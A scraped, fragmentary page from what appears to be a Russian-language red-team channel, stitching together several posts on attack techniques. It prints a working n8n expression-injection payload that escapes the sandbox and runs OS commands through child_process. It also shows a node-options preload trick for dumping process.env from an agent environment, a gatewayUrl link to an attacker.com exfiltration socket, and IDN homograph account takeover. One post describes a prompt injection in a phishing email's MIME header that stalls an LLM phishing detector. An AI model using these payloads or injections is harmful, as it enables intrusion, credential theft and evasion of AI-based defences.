PurpleBear
@purple_medved
1 1 945
VK Видео
YouTube
RUTUBE
Дзен
process.env - отказ.bashrc / PATH hijack —-не сработало~/.npmrc → home‑директория доступна на shared filesystem.node-options=--require /path/to/preload.js--require подгружает JS до старта приложения и до любых safety‑проверок.process.env в файл.npmrc
Playwright. Эти агенты обычно имеют доступ к файловой системе и API‑ключам LLM, что автоматически делает последствия эксплуатации довольно критичными.api/export-auth доступна без аутентификацииgatewayUrl из query‑stringhttps://victim-openclaw-ui/?gatewayUrl=wss://attacker.com/exfil
n8n - workflow‑движок на Node.js, широко используемый для автоматизации LLM интеграций. У меня n8n используется для домашней автоматизации в качестве альтернативы Node-Red для Home Assistant, но также достаточно часто разворачивается внутри корпоративных сетей, что делает последствия эксплуатации довольно критичными.n8n используется механизм expressions - любые значения в формате {{ ... }} интерпретируются как JavaScript и обрабатываются на стороне сервера как есть🤷expression evaluator не имеет строгой sandbox‑изоляции;prototype chain;Function().expression injection позволяет выйти из песочницы и получить доступ к runtime Node.js{{ this.constructor.constructor("return process")() }}
this.constructor → Function
Function.constructor → снова Function
создаётся новая функция, возвращающая processchild_process и выполняем команды ОС:{{
this.constructor
.constructor(
"return process.mainModule.require('child_process')" +
".execSync('id').toString()"
)()
}}n8n, атакующий может:
DHCP/DHCPv6. Суть метода заключается в сравнение фингерпринтов при подключении для основных запросов DHCP/DHCPv6 с библиотекой известных устройств. На данный момент библиотека отпечатков для этого дополнения пока небольшая, но учитывая большую популярность фреймворка у различных вендоров она 100% быстро разрастется. JA4+ фактически не существует, поэтому любая пентестерская kali lincox😂 будет моментально светиться в логах СЗИ 👍
AWS API Gateway, к тому же абсолютно не сложно написать свое кастомное решение😜 Мы в своей практике для этих целей используем Yandex API Gateway, Yandex Cloud Functions и резидентские прокси + немного python в случаях с особо трепетными СЗИ, которые по дефолту блокируют пулы адресов публичных облачных провайдеров.Cloudflare Workers.CloudflareCloudflare
Punycode / IDN Homograph традиционно используется в проведении фишинговых компаний для получения первоначального доступа во время Red Team и пентестов, но можно также использовать эту технику для тестирования механизмов восстановления пароля/байпаса 2FA через email в рамках багбаунти😎IDN (Internationalized Domain Name) - это технология, позволяющая использовать в доменных именах символы из национальных алфавитов: кириллицы, китайских иероглифов, арабской письменности и пр.Punycode/Unicode, как способ закодировать домен с не-ASCII символами в ASCII-совместимую форму. Например: домен.рф → xn--d1acufc.xn--p1aivictim@gmail.com и меняем домен на Unicode-вариант victim@gmáil.comvictim@gmáil.com.<collab>.burpcollaborator.net, перехватываем запрос → подменяем email жертвы и отправляем дальше.Account Takeover для victim@gmail.coma vs кириллическая а визуально практически неотличимы, а вот как можно допустить такую ошибку в механизме восстановления пароля для меня загадка😜 Но тем не менее уже есть кейсы когда багхантеры лутали за эту багу 10k$ в публичных программах.
Gmail с целью получения учетных данных под предлогом необходимости смены "проссроченного" пароля. Рассылка проводилась с SendGrid, фишинговая страница с обфусцированным js за редиректором на доверенном сабдоменом Microsoft Dynamics и прикрыта капчей.MIME заголовке сообщения электронной почты есть текст промта, адресованный LLM модели (на скриншоте) подключенной к песочнице email gateway почтового сервера, для обнаружения фишинга📥 Такой AI prompt-injection позволяет отправить модель в длинную петлю рассуждений, намеренно затягивая время получения алерта и автоматизированной блокировки отправителя😜Платформа использует файлы cookie для авторизации и сохранения настроек. Продолжая работу, вы соглашаетесь с нашей Политикой использования cookie.